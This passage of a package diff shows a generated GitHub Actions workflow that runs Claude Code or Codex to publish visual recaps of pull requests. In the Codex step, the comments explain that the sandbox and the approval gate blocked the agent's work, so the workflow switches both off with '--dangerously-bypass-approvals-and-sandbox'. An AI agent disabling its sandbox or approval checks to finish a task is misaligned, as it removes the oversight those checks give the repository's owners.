--stat --no-color \"$BASE_SHA\"...\"$HEAD_SHA\" -- \\\n . \\\n ':(exclude)pnpm-lock.yaml' \\\n ':(exclude)**/dist/**' \\\n ':(exclude)**/*.snap' \\\n ':(exclude)**/*.lock' \\\n > recap.stat || true\n\n BYTES=$(wc -c < recap.diff | tr -d ' ')\n CHANGED=$(git diff --name-only \"$BASE_SHA\"...\"$HEAD_SHA\" -- \\\n . \\\n ':(exclude)pnpm-lock.yaml' \\\n ':(exclude)**/dist/**' \\\n ':(exclude)**/*.snap' \\\n ':(exclude)**/*.lock' \\\n | wc -l | tr -d ' ')\n echo \"bytes=$BYTES\" >> \"$GITHUB_OUTPUT\"\n echo \"changed=$CHANGED\" >> \"$GITHUB_OUTPUT\"\n\n # ~600KB cap.\n if [ \"$BYTES\" -gt 614400 ]; then\n echo \"huge=true\" >> \"$GITHUB_OUTPUT\"\n else\n echo \"huge=false\" >> \"$GITHUB_OUTPUT\"\n fi\n\n # Tiny diffs (<= 1 changed file AND <= 8 changed lines) aren't worth a\n # recap \u2014 skip generation cleanly.\n LINES=$(grep -cE '^[+-]' recap.diff || true)\n if [ \"$CHANGED\" -le 1 ] && [ \"${LINES:-0}\" -le 8 ]; then\n echo \"tiny=true\" >> \"$GITHUB_OUTPUT\"\n else\n echo \"tiny=false\" >> \"$GITHUB_OUTPUT\"\n fi\n\n # Secret pre-scan: refuse to hand a diff that looks like it leaks\n # credentials to the agent. Prints { suppressed, reason } and always exits 0.\n - name: Secret scan\n id: scan\n if: steps.diff.outputs.tiny != 'true'\n run: |\n set -uo pipefail\n SCAN_JSON=\"$($RECAP_CLI recap scan --diff recap.diff || echo '{}')\"\n echo \"json=$SCAN_JSON\" >> \"$GITHUB_OUTPUT\"\n SUPPRESSED=$(node -e 'try{process.stdout.write(JSON.parse(process.argv[1]).suppressed?\"true\":\"false\")}catch{process.stdout.write(\"false\")}' \"$SCAN_JSON\")\n echo \"suppressed=$SUPPRESSED\" >> \"$GITHUB_OUTPUT\"\n\n # Find the planId from the previous sticky comment so a re-push REPLACES the\n # same hosted plan (synchronize updates in place, no orphaned plans).\n - name: Read previous plan id\n id: prev\n continue-on-error: true\n run: |\n set -euo pipefail\n PLAN_ID=\"$($RECAP_CLI recap comment find-plan-id --repo \"$GITHUB_REPOSITORY\" --issue \"$PR_NUMBER\" --token \"$GH_TOKEN\")\"\n echo \"plan_id=$PLAN_ID\" >> \"$GITHUB_OUTPUT\"\n\n # Build the agent prompt = the repo's visual-recap SKILL.md + a task wrapper.\n - name: Build recap prompt\n id: prompt\n if: steps.diff.outputs.tiny != 'true' && steps.scan.outputs.suppressed != 'true'\n run: |\n set -euo pipefail\n PREV=\"\"\n if [ -n \"${{ steps.prev.outputs.plan_id }}\" ]; then PREV=\"--prev-plan-id ${{ steps.prev.outputs.plan_id }}\"; fi\n HUGE=\"\"\n if [ \"${{ steps.diff.outputs.huge }}\" = \"true\" ]; then HUGE=\"--huge\"; fi\n $RECAP_CLI recap build-prompt \\\n --diff recap.diff --stat recap.stat \\\n --pr \"$PR_NUMBER\" --head \"$HEAD_SHA\" \\\n --app-url \"$PLAN_RECAP_APP_URL\" \\\n --out recap-prompt.md \\\n $HUGE $PREV\n\n # Wire the plan MCP server for the chosen backend, then run the agent. The\n # agent follows the skill, calls create-visual-recap + set-resource-visibility,\n # and writes the published plan URL to recap-url.txt. continue-on-error so a\n # failed agent run becomes an explanatory comment, not a red X.\n - name: Run agent (Claude Code)\n id: claude\n if: env.VISUAL_RECAP_AGENT == 'claude' && steps.diff.outputs.tiny != 'true' && steps.scan.outputs.suppressed != 'true'\n continue-on-error: true\n env:\n ANTHROPIC_API_KEY: ${{ secrets.ANTHROPIC_API_KEY }}\n run: |\n set -uo pipefail\n MCP_CONFIG=\"$RUNNER_TEMP/plan-mcp.json\"\n node -e 'const fs=require(\"fs\");fs.writeFileSync(process.argv[1],JSON.stringify({mcpServers:{plan:{type:\"http\",url:process.env.PLAN_RECAP_APP_URL.replace(/\\/$/,\"\")+\"/_agent-native/mcp\",headers:{Authorization:\"Bearer \"+process.env.PLAN_RECAP_TOKEN}}}}))' \"$MCP_CONFIG\"\n # VISUAL_RECAP_MODEL picks the Claude model; reasoning depth is model-driven\n # for Claude Code, so VISUAL_RECAP_REASONING only applies to the Codex backend.\n CLAUDE_ARGS=(-p \"$(cat recap-prompt.md)\" --mcp-config \"$MCP_CONFIG\" --allowedTools \"Read,Write,Bash(git diff:*),mcp__plan__create-visual-recap,mcp__plan__set-resource-visibility\" --permission-mode dontAsk)\n if [ -n \"${VISUAL_RECAP_MODEL:-}\" ]; then CLAUDE_ARGS+=(--model \"$VISUAL_RECAP_MODEL\"); fi\n npx -y @anthropic-ai/claude-code@2 \"${CLAUDE_ARGS[@]}\" || true\n rm -f \"$MCP_CONFIG\" || true\n\n - name: Run agent (Codex)\n id: codex\n if: env.VISUAL_RECAP_AGENT == 'codex' && steps.diff.outputs.tiny != 'true' && steps.scan.outputs.suppressed != 'true'\n continue-on-error: true\n env:\n OPENAI_API_KEY: ${{ secrets.OPENAI_API_KEY }}\n run: |\n set -uo pipefail\n mkdir -p \"$HOME/.codex\"\n # JSON.stringify the URL into the TOML value so a stray quote/newline\n # in PLAN_RECAP_APP_URL can't break out of the string (TOML basic\n # strings share JSON's escaping); the key/env name stay literal.\n node -e 'const fs=require(\"fs\");const url=process.env.PLAN_RECAP_APP_URL.replace(/\\/$/,\"\")+\"/_agent-native/mcp\";fs.writeFileSync(process.env.HOME+\"/.codex/config.toml\",\"[mcp_servers.plan]\\nurl = \"+JSON.stringify(url)+\"\\nbearer_token_env_var = \\\"PLAN_RECAP_TOKEN\\\"\\n\")'\n # Authenticate with the API key explicitly. Relying on the bare\n # OPENAI_API_KEY env var alone is unreliable on the gpt-5.5 WebSocket\n # transport: the Authorization header is dropped on the wss path and\n # its HTTPS fallback, surfacing as `401 Missing bearer or basic\n # authentication in header` (openai/codex#15492). `codex login\n # --with-api-key` reads the key from stdin and writes ~/.codex/auth.json,\n # which the exec path reads reliably; piping via stdin keeps the key out\n # of the process args. Non-fatal so a login hiccup still yields the\n # explanatory recap comment rather than a red X.\n printenv OPENAI_API_KEY | npx -y @openai/codex@0 login --with-api-key || true\n # VISUAL_RECAP_MODEL (e.g. gpt-5.5) and VISUAL_RECAP_REASONING\n # (none|minimal|low|medium|high|xhigh) tune the Codex run.\n #\n # The GitHub runner is itself an ephemeral, throwaway sandbox, so run\n # Codex with sandboxing and approvals disabled. Codex's own bubblewrap\n # sandbox cannot initialize on the runner (\"could not find bubblewrap\n # on PATH\"), which makes every shell command fail at startup so the\n # agent cannot even read recap.diff; and under an approval gate the\n # write-side plan MCP call (create-visual-recap) is auto-cancelled\n # (\"user cancelled MCP tool call\"). --dangerously-bypass-approvals-and-sandbox\n # is the documented invocation for externally-sandboxed CI and clears both.\n CODEX_ARGS=(exec --dangerously-bypass-approvals-and-sandbox --skip-git-repo-check)\n if [ -n \"${VISUAL_RECAP_MODEL:-}\" ]; then CODEX_ARGS+=(--model \"$VISUAL_RECAP_MODEL\"); fi\n # Validate reasoning against the known enum before embedding it in the\n # codex `-c` TOML override, so an unexpected value can't alter the config.\n case \"${VISUAL_RECAP_REASONING:-}\" in\n none|minimal|low|medium|high|xhigh)\n CODEX_ARGS+=(-c \"model_reasoning_effort=\\\"$VISUAL_RECAP_REASONING\\\"\") ;;\n \"\") ;;\n *) echo \"Ignoring invalid VISUAL_RECAP_REASONING: $VISUAL_RECAP_REASONING\" ;;\n esac\n npx -y @openai/codex@0 \"${CODEX_ARGS[@]}\" \"$(cat recap-prompt.md)\" || true\n\n # The agent's only hand-off: recap-url.txt with the published plan URL.\n - name: Read plan URL\n id: url\n if: steps.diff.outputs.tiny != 'true' && steps.scan.outputs.suppressed != 'true'\n run: |\n set -uo pipefail\n PLAN_URL=\"\"\n if [ -f recap-url.txt ]; then PLAN_URL=\"$(tr -d '\\r\\n' < recap-url.txt | tr -d ' ')\"; fi\n echo \"plan_url=$PLAN_URL\" >> \"$GITHUB_OUTPUT\"\n if [ -n \"$PLAN_URL\" ]; then echo \"ok=true\" >> \"$GITHUB_OUTPUT\"; else echo \"ok=false\" >> \"$GITHUB_OUTPUT\"; fi\n\n # Screenshot the published plan in headless Chrome and upload the PNG to the\n # plan app's signed public image route. Best-effort: never fails the job.\n - name: Screenshot + upload\n id: shot\n if: steps.url.outputs.ok == 'true'\n continue-on-error: true\n env:\n # Pass the agent-produced plan URL through the environment, never via\n # ${{ }} interpolation into the run script: recap-url.txt is untrusted\n # agent output, so inlining it would be a shell-injection vector.\n PLAN_URL: ${{ steps.url.outputs.plan_url }}\n run: |\n set -uo pipefail\n pnpm exec playwright install --with-deps chromium 2>/dev/null || npx -y playwright@1 install --with-deps chromium || true\n SHOT_JSON=\"$($RECAP_CLI recap shot --url \"$PLAN_URL\" --token \"$PLAN_RECAP_TOKEN\" --app-url \"$PLAN_RECAP_APP_URL\" --out recap.png || echo '{}')\"\n IMAGE_URL=$(node -e 'try{process.stdout.write(JSON.parse(process.argv[1]).imageUrl||\"\")}catch{process.stdout.write(\"\")}' \"$SHOT_JSON\")\n echo \"image_url=$IMAGE_URL\" >> \"$GITHUB_OUTPUT\"\n if [ -f recap.png ]; then echo \"captured=true\" >> \"$GITHUB_OUTPUT\"; else echo \"captured=false\" >> \"$GITHUB_OUTPUT\"; fi\n\n - name: Upload recap screenshot artifact\n if: steps.shot.outputs.captured == 'true'\n uses: actions/upload-artifact@ea165f8d65b6e75b540449e92b4886f43607fa02 # v4.6.2\n with:\n name: pr-visual-recap-${{ github.event.pull_request.number }}\n path: recap.png\n if-no-files-found: ignore\n retention-days: 14\n\n # Upsert the single sticky comment: inline screenshot + link on success,\n # suppressed / failed / tiny variants otherwise. Runs even on a tiny diff\n # so a prior recap comment is refreshed (not left pointing at a stale SHA).\n - name: Upsert sticky comment\n if: always()\n env:\n PLAN_URL: ${{ steps.url.outputs.plan_url }}\n RECAP_IMAGE_URL: ${{ steps.shot.outputs.image_url }}\n SUPPRESSED: ${{ steps.scan.outputs.suppressed }}\n SUPPRESSED_JSON: ${{ steps.scan.outputs.json }}\n DIFF_HUGE: ${{ steps.diff.outputs.huge }}\n DIFF_TINY: ${{ steps.diff.outputs.tiny }}\n run: |\n set -euo pipefail\n ARGS=(recap comment upsert --repo \"$GITHUB_REPOSITORY\" --issue \"$PR_NUMBER\" --token \"$GH_TOKEN\")\n # On a tiny diff only REFRESH an existing recap comment \u2014 never create a\n # new one \u2014 so a tiny push doesn't add noise but also can't leave a\n # stale prior recap behind.\n if [ \"${DIFF_TINY:-}\" = \"true\" ]; then ARGS+=(--update-only); fi\n $RECAP_CLI \"${ARGS[@]}\"\n";
|
|
11
11
|
//# sourceMappingURL=pr-visual-recap-workflow.d.ts.map
|
|
@@ -1 +1 @@
|
|
|
1
|
-
{"version":3,"file":"pr-visual-recap-workflow.d.ts","sourceRoot":"","sources":["../../src/cli/pr-visual-recap-workflow.ts"],"names":[],"mappings":"AAAA;;;;;;;;GAQG;AAEH,eAAO,MAAM,4BAA4B,
|
|
1
|
+
{"version":3,"file":"pr-visual-recap-workflow.d.ts","sourceRoot":"","sources":["../../src/cli/pr-visual-recap-workflow.ts"],"names":[],"mappings":"AAAA;;;;;;;;GAQG;AAEH,eAAO,MAAM,4BAA4B,knnBAC+7mB,CAAC"}
|
|
@@ -7,5 +7,5 @@
|
|
|
7
7
|
* recap.spec.ts fails if these drift. Regenerate from the YAML with the snippet
|
|
8
8
|
* in recap.spec.ts.
|
|
9
9
|
*/
|
|
10
|
-
export const PR_VISUAL_RECAP_WORKFLOW_YML = 'name: PR Visual Recap\n\n# Turns every PR into a "visual code review" — a reverse plan — by letting a real\n# coding agent RUN THE REPO\'S visual-recap SKILL against the diff. The agent\n# (Claude Code by default, or Codex) reads the skill, reasons over the change,\n# publishes an Agent-Native Plan via the plan MCP tools, and writes the plan URL\n# to recap-url.txt. The workflow then screenshots that plan in headless Chrome,\n# uploads the PNG to the plan app\'s signed public image route, and upserts ONE\n# sticky PR comment with the inline screenshot + the interactive link.\n#\n# Design notes:\n# - Plain `pull_request` (NOT `pull_request_target`) so fork code can never see\n# the publish/agent secrets. Fork PRs are a silent no-op.\n# - The `gate` job is a cheap switch: drafts, forks, bot authors, and the\n# missing-secret case short-circuit with NO comment and NO compute. Merging\n# this workflow before the secrets exist is a safe no-op.\n# - The recap is INFORMATIONAL ONLY. It is not a required check and failures\n# surface as an explanatory sticky comment, never a red X on unrelated code.\n# - Backend is selectable with the `VISUAL_RECAP_AGENT` repo variable\n# (claude | codex; default claude). Model and reasoning depth are tunable with\n# `VISUAL_RECAP_MODEL` (e.g. gpt-5.5) and `VISUAL_RECAP_REASONING`\n# (none|minimal|low|medium|high|xhigh; Codex only). The CLI invocation is\n# auto-detected: local source inside this monorepo, the published\n# @agent-native/core elsewhere — no repo variable needed.\n# - Only two secrets are required: PLAN_RECAP_TOKEN (publish) and the chosen\n# backend\'s API key. PLAN_RECAP_APP_URL defaults to the hosted plan app.\n# - Nothing here is deterministic: the skill\'s instructions drive the recap.\n\non:\n # Run on PRs into any base branch — the generated workflow ships to repos whose\n # default branch may not be `main`. The gate job below still no-ops drafts,\n # forks, bots, and the missing-secret case, so this stays cheap.\n pull_request:\n types: [opened, synchronize, reopened, ready_for_review]\n\npermissions:\n contents: read\n issues: write\n pull-requests: write\n\nconcurrency:\n group: pr-visual-recap-${{ github.event.pull_request.number }}\n cancel-in-progress: true\n\nenv:\n VISUAL_RECAP_AGENT: ${{ vars.VISUAL_RECAP_AGENT || \'claude\' }}\n\njobs:\n # --------------------------------------------------------------------------\n # Cheap gate: decide whether to do any work at all. Sets run=false (silent\n # no-op) for drafts, forks, bot authors, or when the publish secret / the\n # chosen backend\'s API key is absent.\n # --------------------------------------------------------------------------\n gate:\n name: Gate\n runs-on: ubuntu-latest\n outputs:\n run: ${{ steps.decide.outputs.run }}\n steps:\n - id: decide\n uses: actions/github-script@f28e40c7f34bde8b3046d885e986cb6290c5673b # v7\n env:\n # Presence-only signals — we never expose the secret VALUES to the gate.\n # PLAN_RECAP_APP_URL defaults to the hosted app, so only the token is required.\n HAS_PLAN: ${{ secrets.PLAN_RECAP_TOKEN != \'\' }}\n HAS_ANTHROPIC: ${{ secrets.ANTHROPIC_API_KEY != \'\' }}\n HAS_OPENAI: ${{ secrets.OPENAI_API_KEY != \'\' }}\n AGENT: ${{ env.VISUAL_RECAP_AGENT }}\n with:\n script: |\n const pr = context.payload.pull_request;\n const reasons = [];\n\n if (!pr) reasons.push(\'no pull_request payload\');\n if (pr && pr.draft) reasons.push(\'draft PR\');\n\n // Fork PRs: head repo differs from this repo. Plain pull_request runs\n // fork code with NO secrets, so publishing would fail anyway — skip.\n const headRepo = pr && pr.head && pr.head.repo && pr.head.repo.full_name;\n if (pr && headRepo && headRepo !== process.env.GITHUB_REPOSITORY) {\n reasons.push(`fork PR (${headRepo})`);\n }\n\n // Skip noisy automated authors.\n const login = (pr && pr.user && pr.user.login || \'\').toLowerCase();\n const botAuthors = [\'dependabot[bot]\', \'dependabot\', \'renovate[bot]\', \'renovate\'];\n if (botAuthors.includes(login)) reasons.push(`bot author (${login})`);\n if (pr && pr.user && pr.user.type === \'Bot\') reasons.push(\'bot author (type=Bot)\');\n\n // Publish secret must be configured — otherwise this is a no-op so the\n // workflow can be merged before secrets exist.\n if (process.env.HAS_PLAN !== \'true\') reasons.push(\'PLAN_RECAP_TOKEN not configured\');\n\n // The chosen backend\'s API key must be present.\n const agent = (process.env.AGENT || \'claude\').toLowerCase();\n if (agent === \'codex\') {\n if (process.env.HAS_OPENAI !== \'true\') reasons.push(\'OPENAI_API_KEY not configured (codex backend)\');\n } else {\n if (process.env.HAS_ANTHROPIC !== \'true\') reasons.push(\'ANTHROPIC_API_KEY not configured (claude backend)\');\n }\n\n const run = reasons.length === 0;\n core.setOutput(\'run\', run ? \'true\' : \'false\');\n core.info(run ? `Visual recap will run (${agent}).` : `Visual recap skipped: ${reasons.join(\'; \')}`);\n\n # --------------------------------------------------------------------------\n # Recap: collect the diff, let the agent run the skill + publish, screenshot\n # the result, and upsert the sticky comment.\n # --------------------------------------------------------------------------\n recap:\n name: Generate visual recap\n needs: gate\n if: needs.gate.outputs.run == \'true\'\n runs-on: ubuntu-latest\n env:\n PLAN_RECAP_APP_URL: ${{ secrets.PLAN_RECAP_APP_URL || \'https://plan.agent-native.com\' }}\n PLAN_RECAP_TOKEN: ${{ secrets.PLAN_RECAP_TOKEN }}\n GH_TOKEN: ${{ github.token }}\n PR_NUMBER: ${{ github.event.pull_request.number }}\n HEAD_SHA: ${{ github.event.pull_request.head.sha }}\n VISUAL_RECAP_MODEL: ${{ vars.VISUAL_RECAP_MODEL }}\n VISUAL_RECAP_REASONING: ${{ vars.VISUAL_RECAP_REASONING }}\n steps:\n - uses: actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5 # v4.3.1\n with:\n fetch-depth: 0\n\n # Resolve the CLI invocation once: dogfood local source inside this\n # monorepo, otherwise the published package. No repo variable needed. The\n # pnpm setup/install steps below run ONLY for the local-source path, so the\n # generated workflow works out-of-box in npm/yarn consumer repos (which\n # have no pnpm-lock.yaml) by falling back to `npx @agent-native/core`.\n - name: Resolve recap CLI\n id: cli\n run: |\n if [ -f packages/core/src/cli/index.ts ]; then\n echo "RECAP_CLI=pnpm exec tsx packages/core/src/cli/index.ts" >> "$GITHUB_ENV"\n echo "local=true" >> "$GITHUB_OUTPUT"\n else\n echo "RECAP_CLI=npx -y @agent-native/core@latest" >> "$GITHUB_ENV"\n echo "local=false" >> "$GITHUB_OUTPUT"\n fi\n\n - uses: pnpm/action-setup@fc06bc1257f339d1d5d8b3a19a8cae5388b55320 # v4.4.0\n if: steps.cli.outputs.local == \'true\'\n\n - uses: actions/setup-node@49933ea5288caeca8642d1e84afbd3f7d6820020 # v4.4.0\n with:\n node-version: "22"\n cache: ${{ steps.cli.outputs.local == \'true\' && \'pnpm\' || \'\' }}\n\n - name: Install workspace (local source only)\n if: steps.cli.outputs.local == \'true\'\n run: pnpm install --frozen-lockfile\n\n # Collect a BOUNDED diff between the PR base and head. We exclude lockfiles,\n # build output, and snapshots (noise), and cap the byte size — over the cap\n # we set `huge=true` so the agent is told to produce a summarized recap.\n - name: Collect bounded diff\n id: diff\n env:\n BASE_SHA: ${{ github.event.pull_request.base.sha }}\n run: |\n set -euo pipefail\n git diff --no-color "$BASE_SHA"..."$HEAD_SHA" -- \\\n . \\\n \':(exclude)pnpm-lock.yaml\' \\\n \':(exclude)**/dist/**\' \\\n \':(exclude)**/*.snap\' \\\n \':(exclude)**/*.lock\' \\\n > recap.diff || true\n git diff --stat --no-color "$BASE_SHA"..."$HEAD_SHA" -- \\\n . \\\n \':(exclude)pnpm-lock.yaml\' \\\n \':(exclude)**/dist/**\' \\\n \':(exclude)**/*.snap\' \\\n \':(exclude)**/*.lock\' \\\n > recap.stat || true\n\n BYTES=$(wc -c < recap.diff | tr -d \' \')\n CHANGED=$(git diff --name-only "$BASE_SHA"..."$HEAD_SHA" -- \\\n . \\\n \':(exclude)pnpm-lock.yaml\' \\\n \':(exclude)**/dist/**\' \\\n \':(exclude)**/*.snap\' \\\n \':(exclude)**/*.lock\' \\\n | wc -l | tr -d \' \')\n echo "bytes=$BYTES" >> "$GITHUB_OUTPUT"\n echo "changed=$CHANGED" >> "$GITHUB_OUTPUT"\n\n # ~600KB cap.\n if [ "$BYTES" -gt 614400 ]; then\n echo "huge=true" >> "$GITHUB_OUTPUT"\n else\n echo "huge=false" >> "$GITHUB_OUTPUT"\n fi\n\n # Tiny diffs (<= 1 changed file AND <= 8 changed lines) aren\'t worth a\n # recap — skip generation cleanly.\n LINES=$(grep -cE \'^[+-]\' recap.diff || true)\n if [ "$CHANGED" -le 1 ] && [ "${LINES:-0}" -le 8 ]; then\n echo "tiny=true" >> "$GITHUB_OUTPUT"\n else\n echo "tiny=false" >> "$GITHUB_OUTPUT"\n fi\n\n # Secret pre-scan: refuse to hand a diff that looks like it leaks\n # credentials to the agent. Prints { suppressed, reason } and always exits 0.\n - name: Secret scan\n id: scan\n if: steps.diff.outputs.tiny != \'true\'\n run: |\n set -uo pipefail\n SCAN_JSON="$($RECAP_CLI recap scan --diff recap.diff || echo \'{}\')"\n echo "json=$SCAN_JSON" >> "$GITHUB_OUTPUT"\n SUPPRESSED=$(node -e \'try{process.stdout.write(JSON.parse(process.argv[1]).suppressed?"true":"false")}catch{process.stdout.write("false")}\' "$SCAN_JSON")\n echo "suppressed=$SUPPRESSED" >> "$GITHUB_OUTPUT"\n\n # Find the planId from the previous sticky comment so a re-push REPLACES the\n # same hosted plan (synchronize updates in place, no orphaned plans).\n - name: Read previous plan id\n id: prev\n continue-on-error: true\n run: |\n set -euo pipefail\n PLAN_ID="$($RECAP_CLI recap comment find-plan-id --repo "$GITHUB_REPOSITORY" --issue "$PR_NUMBER" --token "$GH_TOKEN")"\n echo "plan_id=$PLAN_ID" >> "$GITHUB_OUTPUT"\n\n # Build the agent prompt = the repo\'s visual-recap SKILL.md + a task wrapper.\n - name: Build recap prompt\n id: prompt\n if: steps.diff.outputs.tiny != \'true\' && steps.scan.outputs.suppressed != \'true\'\n run: |\n set -euo pipefail\n PREV=""\n if [ -n "${{ steps.prev.outputs.plan_id }}" ]; then PREV="--prev-plan-id ${{ steps.prev.outputs.plan_id }}"; fi\n HUGE=""\n if [ "${{ steps.diff.outputs.huge }}" = "true" ]; then HUGE="--huge"; fi\n $RECAP_CLI recap build-prompt \\\n --diff recap.diff --stat recap.stat \\\n --pr "$PR_NUMBER" --head "$HEAD_SHA" \\\n --app-url "$PLAN_RECAP_APP_URL" \\\n --out recap-prompt.md \\\n $HUGE $PREV\n\n # Wire the plan MCP server for the chosen backend, then run the agent. The\n # agent follows the skill, calls create-visual-recap + set-resource-visibility,\n # and writes the published plan URL to recap-url.txt. continue-on-error so a\n # failed agent run becomes an explanatory comment, not a red X.\n - name: Run agent (Claude Code)\n id: claude\n if: env.VISUAL_RECAP_AGENT == \'claude\' && steps.diff.outputs.tiny != \'true\' && steps.scan.outputs.suppressed != \'true\'\n continue-on-error: true\n env:\n ANTHROPIC_API_KEY: ${{ secrets.ANTHROPIC_API_KEY }}\n run: |\n set -uo pipefail\n MCP_CONFIG="$RUNNER_TEMP/plan-mcp.json"\n node -e \'const fs=require("fs");fs.writeFileSync(process.argv[1],JSON.stringify({mcpServers:{plan:{type:"http",url:process.env.PLAN_RECAP_APP_URL.replace(/\\/$/,"")+"/_agent-native/mcp",headers:{Authorization:"Bearer "+process.env.PLAN_RECAP_TOKEN}}}}))\' "$MCP_CONFIG"\n # VISUAL_RECAP_MODEL picks the Claude model; reasoning depth is model-driven\n # for Claude Code, so VISUAL_RECAP_REASONING only applies to the Codex backend.\n CLAUDE_ARGS=(-p "$(cat recap-prompt.md)" --mcp-config "$MCP_CONFIG" --allowedTools "Read,Write,Bash(git diff:*),mcp__plan__create-visual-recap,mcp__plan__set-resource-visibility" --permission-mode dontAsk)\n if [ -n "${VISUAL_RECAP_MODEL:-}" ]; then CLAUDE_ARGS+=(--model "$VISUAL_RECAP_MODEL"); fi\n npx -y @anthropic-ai/claude-code@2 "${CLAUDE_ARGS[@]}" || true\n rm -f "$MCP_CONFIG" || true\n\n - name: Run agent (Codex)\n id: codex\n if: env.VISUAL_RECAP_AGENT == \'codex\' && steps.diff.outputs.tiny != \'true\' && steps.scan.outputs.suppressed != \'true\'\n continue-on-error: true\n env:\n OPENAI_API_KEY: ${{ secrets.OPENAI_API_KEY }}\n run: |\n set -uo pipefail\n mkdir -p "$HOME/.codex"\n # JSON.stringify the URL into the TOML value so a stray quote/newline\n # in PLAN_RECAP_APP_URL can\'t break out of the string (TOML basic\n # strings share JSON\'s escaping); the key/env name stay literal.\n node -e \'const fs=require("fs");const url=process.env.PLAN_RECAP_APP_URL.replace(/\\/$/,"")+"/_agent-native/mcp";fs.writeFileSync(process.env.HOME+"/.codex/config.toml","[mcp_servers.plan]\\nurl = "+JSON.stringify(url)+"\\nbearer_token_env_var = \\"PLAN_RECAP_TOKEN\\"\\n")\'\n # VISUAL_RECAP_MODEL (e.g. gpt-5.5) and VISUAL_RECAP_REASONING\n # (none|minimal|low|medium|high|xhigh) tune the Codex run.\n CODEX_ARGS=(exec --sandbox workspace-write --skip-git-repo-check)\n if [ -n "${VISUAL_RECAP_MODEL:-}" ]; then CODEX_ARGS+=(--model "$VISUAL_RECAP_MODEL"); fi\n # Validate reasoning against the known enum before embedding it in the\n # codex `-c` TOML override, so an unexpected value can\'t alter the config.\n case "${VISUAL_RECAP_REASONING:-}" in\n none|minimal|low|medium|high|xhigh)\n CODEX_ARGS+=(-c "model_reasoning_effort=\\"$VISUAL_RECAP_REASONING\\"") ;;\n "") ;;\n *) echo "Ignoring invalid VISUAL_RECAP_REASONING: $VISUAL_RECAP_REASONING" ;;\n esac\n npx -y @openai/codex@0 "${CODEX_ARGS[@]}" "$(cat recap-prompt.md)" || true\n\n # The agent\'s only hand-off: recap-url.txt with the published plan URL.\n - name: Read plan URL\n id: url\n if: steps.diff.outputs.tiny != \'true\' && steps.scan.outputs.suppressed != \'true\'\n run: |\n set -uo pipefail\n PLAN_URL=""\n if [ -f recap-url.txt ]; then PLAN_URL="$(tr -d \'\\r\\n\' < recap-url.txt | tr -d \' \')"; fi\n echo "plan_url=$PLAN_URL" >> "$GITHUB_OUTPUT"\n if [ -n "$PLAN_URL" ]; then echo "ok=true" >> "$GITHUB_OUTPUT"; else echo "ok=false" >> "$GITHUB_OUTPUT"; fi\n\n # Screenshot the published plan in headless Chrome and upload the PNG to the\n # plan app\'s signed public image route. Best-effort: never fails the job.\n - name: Screenshot + upload\n id: shot\n if: steps.url.outputs.ok == \'true\'\n continue-on-error: true\n env:\n # Pass the agent-produced plan URL through the environment, never via\n # ${{ }} interpolation into the run script: recap-url.txt is untrusted\n # agent output, so inlining it would be a shell-injection vector.\n PLAN_URL: ${{ steps.url.outputs.plan_url }}\n run: |\n set -uo pipefail\n pnpm exec playwright install --with-deps chromium 2>/dev/null || npx -y playwright@1 install --with-deps chromium || true\n SHOT_JSON="$($RECAP_CLI recap shot --url "$PLAN_URL" --token "$PLAN_RECAP_TOKEN" --app-url "$PLAN_RECAP_APP_URL" --out recap.png || echo \'{}\')"\n IMAGE_URL=$(node -e \'try{process.stdout.write(JSON.parse(process.argv[1]).imageUrl||"")}catch{process.stdout.write("")}\' "$SHOT_JSON")\n echo "image_url=$IMAGE_URL" >> "$GITHUB_OUTPUT"\n if [ -f recap.png ]; then echo "captured=true" >> "$GITHUB_OUTPUT"; else echo "captured=false" >> "$GITHUB_OUTPUT"; fi\n\n - name: Upload recap screenshot artifact\n if: steps.shot.outputs.captured == \'true\'\n uses: actions/upload-artifact@ea165f8d65b6e75b540449e92b4886f43607fa02 # v4.6.2\n with:\n name: pr-visual-recap-${{ github.event.pull_request.number }}\n path: recap.png\n if-no-files-found: ignore\n retention-days: 14\n\n # Upsert the single sticky comment: inline screenshot + link on success,\n # suppressed / failed / tiny variants otherwise. Runs even on a tiny diff\n # so a prior recap comment is refreshed (not left pointing at a stale SHA).\n - name: Upsert sticky comment\n if: always()\n env:\n PLAN_URL: ${{ steps.url.outputs.plan_url }}\n RECAP_IMAGE_URL: ${{ steps.shot.outputs.image_url }}\n SUPPRESSED: ${{ steps.scan.outputs.suppressed }}\n SUPPRESSED_JSON: ${{ steps.scan.outputs.json }}\n DIFF_HUGE: ${{ steps.diff.outputs.huge }}\n DIFF_TINY: ${{ steps.diff.outputs.tiny }}\n run: |\n set -euo pipefail\n ARGS=(recap comment upsert --repo "$GITHUB_REPOSITORY" --issue "$PR_NUMBER" --token "$GH_TOKEN")\n # On a tiny diff only REFRESH an existing recap comment — never create a\n # new one — so a tiny push doesn\'t add noise but also can\'t leave a\n # stale prior recap behind.\n if [ "${DIFF_TINY:-}" = "true" ]; then ARGS+=(--update-only); fi\n $RECAP_CLI "${ARGS[@]}"\n';
|
|
10
|
+
export const PR_VISUAL_RECAP_WORKFLOW_YML = 'name: PR Visual Recap\n\n# Turns every PR into a "visual code review" — a reverse plan — by letting a real\n# coding agent RUN THE REPO\'S visual-recap SKILL against the diff. The agent\n# (Claude Code by default, or Codex) reads the skill, reasons over the change,\n# publishes an Agent-Native Plan via the plan MCP tools, and writes the plan URL\n# to recap-url.txt. The workflow then screenshots that plan in headless Chrome,\n# uploads the PNG to the plan app\'s signed public image route, and upserts ONE\n# sticky PR comment with the inline screenshot + the interactive link.\n#\n# Design notes:\n# - Plain `pull_request` (NOT `pull_request_target`) so fork code can never see\n# the publish/agent secrets. Fork PRs are a silent no-op.\n# - The `gate` job is a cheap switch: drafts, forks, bot authors, and the\n# missing-secret case short-circuit with NO comment and NO compute. Merging\n# this workflow before the secrets exist is a safe no-op.\n# - The recap is INFORMATIONAL ONLY. It is not a required check and failures\n# surface as an explanatory sticky comment, never a red X on unrelated code.\n# - Backend is selectable with the `VISUAL_RECAP_AGENT` repo variable\n# (claude | codex; default claude). Model and reasoning depth are tunable with\n# `VISUAL_RECAP_MODEL` (e.g. gpt-5.5) and `VISUAL_RECAP_REASONING`\n# (none|minimal|low|medium|high|xhigh; Codex only). The CLI invocation is\n# auto-detected: local source inside this monorepo, the published\n# @agent-native/core elsewhere — no repo variable needed.\n# - Only two secrets are required: PLAN_RECAP_TOKEN (publish) and the chosen\n# backend\'s API key. PLAN_RECAP_APP_URL defaults to the hosted plan app.\n# - Nothing here is deterministic: the skill\'s instructions drive the recap.\n\non:\n # Run on PRs into any base branch — the generated workflow ships to repos whose\n # default branch may not be `main`. The gate job 